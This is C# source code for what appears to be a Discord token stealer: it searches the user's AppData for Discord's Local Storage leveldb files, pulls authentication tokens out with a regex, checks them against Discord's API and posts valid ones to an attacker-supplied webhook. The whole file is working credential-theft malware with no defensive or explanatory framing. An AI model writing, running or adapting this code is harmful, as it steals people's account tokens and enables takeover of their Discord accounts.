using System;
using System.Collections.Specialized;
using System.IO;
using System.Net;
using System.Text.RegularExpressions;

namespace Discord
{
    class Program
    {

        private static string webhook = $"{webhook}";

        private static bool CheckMatch(string text)
        {
            WebClient client = new WebClient();

            try
            {
                client.Headers.Add("Authorization", text);
                string result = client.DownloadString("https://discordapp.com/api/v6/users/@me");
                if (!result.Contains("Unauthorized"))
                {
                    return true;
                } else
                {
                    return false;
                }

            } catch (Exception)
            {
                return false;
            }
        }

        private static void FourthTask(string[] files)
        {
            foreach (var item in files)
            {
                if(Path.GetExtension(item) == ".ldb")
                {
                    string content = File.ReadAllText(item);
                    Match correctMatch = Regex.Match(content, @"[a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}|mfa\.[a-zA-Z0-9_\-]{84}");

                    if(correctMatch.Success)
                    {
                        if (CheckMatch(correctMatch.Value))
                        {
                            WebClient client = new WebClient();

                            NameValueCollection nvc = new NameValueCollection();
                            nvc.Add("content", $"```Token : {correctMatch.Value}```");

                            client.UploadValues(webhook, nvc);

                        } else
                        {
                            Console.WriteLine("Something didn't work, please report this to me the best guy in the whole universe: kevkekvevkekvkekvkv");
                        }
                    }
                }
            }
        }

        private static void ThirdTask(string[] dirs)
        {
            foreach (var item in dirs)
            {
                if (item.Contains("Local Storage"))
                {
                    string[] dirs2 = Directory.GetDirectories(item);
                    foreach (var item2 in dirs2)
                    {
                        if(item2.Contains("leveldb"))
                        {
                            string[] files = Directory.GetFiles(item2);
                            FourthTask(files);
                        }
                    }
                }
            }
        }

        private static void SecondTask(string[] dirs)
        {
            foreach (var item in dirs)
            {
                if (item.Contains("discord"))
                {
                    string[] dirs2 = Directory.GetDirectories(item);
                    ThirdTask(dirs2);
                }
            }
        }

        private static void FirstTask()
        {
            string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string[] dirs = Directory.GetDirectories(path);
            SecondTask(dirs);
        }


        static void Main(string[] args)
        {
            FirstTask();
        }
    }
}